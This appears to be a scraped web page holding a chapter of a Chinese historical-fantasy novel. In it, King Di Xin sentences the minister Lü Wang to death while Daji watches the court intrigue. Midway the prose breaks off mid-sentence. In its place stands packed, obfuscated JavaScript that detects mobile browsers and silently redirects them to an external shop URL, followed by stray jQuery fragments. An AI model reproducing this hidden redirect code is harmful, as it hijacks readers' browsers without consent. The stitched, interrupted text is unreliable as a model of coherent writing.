默认冷灰
24号文字
方正启体

17. 第 18 章

作者:周颐本书字数:K更新时间:
    朝堂风波里的孤影与寒心


    帝辛开口要斩吕望,原就不是出自真心。他从未想过要取这老臣的性命,只是吕望那张嘴,实在可恨得紧——从来不给自己留半分颜面,但凡觉得有半点不妥,便即刻跳出来发难,不管满朝文武如何看待,也不顾自己脸上是否挂得住,只管扯着嗓子嚷嚷,闹得朝堂不得安宁。按帝辛最初的打算,只需把这碍眼的老头赶出去,往后耳根清净便是。可偏生吕望在轩辕殿里撒起了泼,一口一个“昏君”骂得响亮,帝辛一时气急攻心,才动了斩他的念头,只图个耳根清净,心里安稳。


    早有王叔比干、飞虎将军等人快步上前,拦住了要架走吕望的护卫。丞相商容也即刻出列,向帝辛躬身请命,语气恳切:“大王,吕望言语虽有失当,心底却并非歹毒。他许是畏惧妲己娘娘的容貌,又认定娘娘是祸国之兆,才会如此不敬。还请大王明察。”飞虎将军更是干脆,直接伸手捂住了吕望的嘴,生怕他再说出什么更触怒龙颜的话来,把小命彻底葬送在这里。


    “你们也知道他这是不敬孤?”帝辛的声音里带着压抑的怒火,目光扫过众人。


    “为人臣者,当为君分忧,吕望此举,不过是忧心国事过甚。”比干缓缓开口,语气沉稳,试图缓和殿内的紧张气氛。


    “分忧?他这分明是给孤添堵来了!”帝辛冷哼一声,胸口仍因方才的怒火起伏不定。


    “这绝非吕望本意。”比干继续劝谏,“只因他认定的道理未能得到大王重视,一时情急之下,才失了分寸。吕望年事已高,为我大商兢兢业业操劳半生,还请大王念在往昔情义,饶他一命。”


    帝辛心里何尝不清楚,这吕望虽不受自己待见,官职也不算显赫,却因擅长用兵、能识天象,且为人清廉耿直,在朝中颇有一批拥趸。他本就没打算真的斩了他,只是想借这个由头压一压众臣的气焰。任由众朝臣苦苦劝谏了足有一刻钟,帝辛才缓缓松口:“罢了!便饶吕望一命,将他赶出去,此后再不复用!”


    众人皆知吕望是心高气傲之人,这般被当众赶出去,定然心有不甘。果不其然,话音刚落,吕望便偏过头,踮起脚尖,硬生生从飞虎将军的手掌下挪出了嘴巴,即刻高声喊道:“大王今日不杀老臣,老臣感激不尽!但这祸水绝不能留在宫中,老臣便是粉身碎骨,也要除了这妖女!大王若执意袒护她,便杀了老臣罢!”


    这话一出,比干、商容等人只觉得一阵气闷——这吕望怎么就这般一根筋?饶是死到临头,也半点不通情理。飞虎将军赶忙再次捂住他的嘴,商容在一旁急得直跺脚,压低声音劝道:“你倒是消停些!好歹留着性命,日后才有计较的余地啊!”


    不料吕望虽被堵了嘴,却仍不肯安分,喉咙里哼哼唧唧个不停,发出含糊不清的嗡嗡声,谁也不知道他究竟还想说些什么。那模样却有些滑稽:脸被人按着朝上,身子被向后拖拽着,嘴巴被死死捂住,眼珠子却瞪得像铜铃一般大,几乎要从眼眶里蹦出来。


    妲己躲在一旁看着,见帝辛松口饶了吕望,知道自己暂时再无危险,紧绷的神经稍稍松弛了些。看着吕望一次次被人捂住嘴,仍执拗地要争辩的模样,她竟忍不住觉得有些好笑;再看他那双几乎要瞪出来的眼珠子,又觉得多了几分荒诞的趣味。仿佛这场因她而起的风波,与她毫无干系一般。


    可笑着笑着,妲己的心底却突然涌上一股莫名的悲凉。她猛地敛住笑容,心底满是懊恼——自己什么时候竟变得这般冷漠了?那吕望纵然可恶,可终究是一条人命,这般生死攸关的时刻,她竟能当作戏码来看,还觉得有趣。一股强烈的不适感涌上心头,她下意识地想冲出去为吕望求个情,脚步刚动,却又硬生生忍住了。


    她心里清楚,自己不能去。一来,吕望本就是因弹劾她才落得这般境地,她与这些朝臣本就毫无交情,实在没有求情的道理;二来,帝辛方才那般动怒,分明是觉得众朝臣公然偏袒吕望,是不把他放在眼里,这才想借吕望的性命“杀鸡儆猴”,震慑这帮老臣良将。自己此刻冲出去求情,非但未必能救得了吕望,反倒可能触怒帝辛;再者,一旦她开口,那“干预朝政”的恶名便会坐实,往后只会招来更多的非议与祸患,徒增更多麻烦。


    几番思忖下来,妲己终究还是把救人的念头压了下去,依旧躲在西暖阁的阴影里,偷偷瞧着外头的闹剧。只是此刻再看,心里已没了半分趣味,只剩下沉甸甸的压抑与无奈。她不过是想在这深宫里活下去,却偏偏被卷入这无休止的纷争里,连旁人的生死,都成了她不得不权衡的筹码。


    这边众人还在拉扯吕望,帝辛看着眼前这乱糟糟的一幕,心底的烦闷愈发浓重。这群重臣在朝堂上公然与他作对,偏袒吕望,今日若不拿出点威严来,日后他还如何统治这满朝文武?他仔细打量着那几个围着吕望、满脸关切的臣子,眼神渐冷,突然冷哼一声,语气决绝:“你既想死,孤便不成全你。来人啊,将吕望押入天牢,明日正午,处斩!”


    帝辛心里明白,吕望的过错本就情有可原,况且望月阁的大火也并非吕望所放。可他如今必须这般做,唯有如此,才能震慑住这帮老臣良将,让他们明白谁才是这大商的主宰。不然,他们只会愈发肆无忌惮,不把他放在眼里。杀鸡儆猴,杀一儆百,吕望只能怪自己脾气太拗,偏偏要拿性命来和美人作对,和他这个大王作对。


    不料帝辛话音落下,殿上的侍卫却迟迟没有行动,一个个杵在原地,大眼瞪小眼地相互观望,显然是不敢轻易动吕望。帝辛见状,怒火更盛,厉声喝道:“孤的话你们没听见吗!还不把吕望押入天牢!”


    “你们一个个是想造反不成?大王都发了话,还不遵命!快把这老头押下去!”一个圆头圆脸的文臣突然站了出来,尖着嗓子喊道。这人名为尤浑,不仅脸圆,身子也长得又矮又胖,像个滚圆的团子。他向来胆小怕事,却极好贪污敛财,于江山社稷毫无建树,早些年常被帝辛呵斥。只是他最擅长逢迎拍马,如今帝辛年纪大了,反倒越发喜欢他这副阿谀奉承的模样。


    妲己看着尤浑那滚圆的模样,心底刚升起的压抑稍稍缓解了些,却也只是一瞬。她知道,有尤浑这般的人在,这场风波只会愈发复杂。果不其然,尤浑话音刚落,费仲也站了出来,他走上前,轻轻拉住比干的手臂,慢悠悠地说道:“王叔,您也该顾及大王的脸面。君王金口玉言,话已出口,断无收回的道理。况且大王已经容了吕望一次,是他自己执意求死,何必为了这样一个糊涂人,伤了君臣之间的和气,反倒落人口实呢?”


    费仲的声音不大,却足以让堂上所有人都听得清清楚楚。这番话看似是劝比干,实则是在给侍卫们递信号。侍卫们见状


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028914|194484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,再也不敢犹豫,几个胆大的走上前来,先向飞虎将军行了一礼,喊了声“将军”,便伸手拉住吕望,强行架了下去。那吕望一路仍不肯安分,扭着脖子不停嚷嚷,言语之间,依旧是让帝辛除了她这个“妖女”。


    看着吕望被强行押走的背影,妲己的心底泛起一阵寒意。她远远地看着殿上众人的神色:比干面上依旧平和,眼神沉稳,看不出丝毫慌乱;商容却忍不住瞪着费仲,满脸怒色,可费仲的话句句在理,他竟找不出半分反驳的余地,只能徒劳地干瞪眼;飞虎将军的面容则冷了下来,周身透着一股生人勿近的寒气,却并未有明显动怒的迹象。


    妲己忽然觉得,人心真是复杂得可怕。她从前生活的环境单纯,从未细细揣摩过人心,如今踏入这深宫朝堂,才猛然发现,人与人之间的差别竟如此之大。仅仅是今日朝堂上闹腾的这几个人,性格便各不相同,心思更是深沉难测。她忍不住将目光投向帝辛,不知是自己的错觉,还是她依旧太过幼稚单纯,她竟觉得帝辛面上虽写满了怒火,眼底深处却空无一物,没有半分真正的情绪,只有权衡与算计。


    殿内的气氛一时冷到了冰点,这场朝会也只能草草收场。妲己见帝辛退了朝,便从暖阁西北角的一处小门悄悄走了出去。印儿早已在院中等候,见她出来,忙快步走上前,小心翼翼地搀住她的手臂。门口守着的侍卫见她出来,只是躬身行了一礼,并未出声。妲己依旧不习惯被人当作“娘娘”敬重,微微低头,算是回礼,倒让那两个侍卫愣了许久。妲己也不理会,任由印儿搀扶着,往前走了几步,站在院子中央等候。片刻之后,果然见帝辛在内侍的簇拥下,从轩辕殿绕了出来,径直朝她这边走来。


    “美人,今日受委屈了。”不等妲己行完礼,帝辛便快步上前,一把将她扶起,语气里满是心疼。


    “教大王为我操心,是妲己的不是。”妲己微微垂眸,声音轻柔,听不出太多情绪。经历了方才的风波,她实在提不起半分欢喜的心思,只想快点离开这令人窒息的地方。


    “罢了,不提那些烦心事。”帝辛轻轻拍了拍她的手背,语气缓和了些,“孤今日寻了些新鲜玩意儿,带你去瞧瞧。”


    妲己既不笑,也不好奇,只是顺从地跟着帝辛的脚步往前走。她早已明白,在这深宫里,顺从是最好的生存法则。那些所谓的“新鲜玩意儿”,于她而言,不过是无聊时的点缀,终究驱散不了心底的孤寂与恐惧。


    远处,轩辕殿的侧面,费仲拉着尤浑躲在廊柱后面,直到帝辛一行人走远,才敢探出头来。费仲看着帝辛与妲己远去的背影,低声说道:“果然如我所料,大王今日是把那美人安置在西暖阁了。”


    “这……这不是纵容她听政吗?”尤浑闻言,不禁打了个寒颤,语气里满是不安。


    “今日带着,往后未必还会带。”费仲若有所思地说道,“只是今日这场风波,怕是还不会就此了结。”


    二人说着,便转身准备离开。刚转过弯,正要走下殿侧的台阶,却瞥见轩辕殿正前方、离他们不远处站着一个人。费仲心中一惊,连忙回头看去,看清来人的模样后,唬得赶紧躬身弯腰,行了个长揖礼,恭敬地说道:“殿下。”尤浑也吓得连忙跟着行了礼,大气都不敢出。


    那人不是别人,正是帝辛的独子,年方二十五岁有余的武庚。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)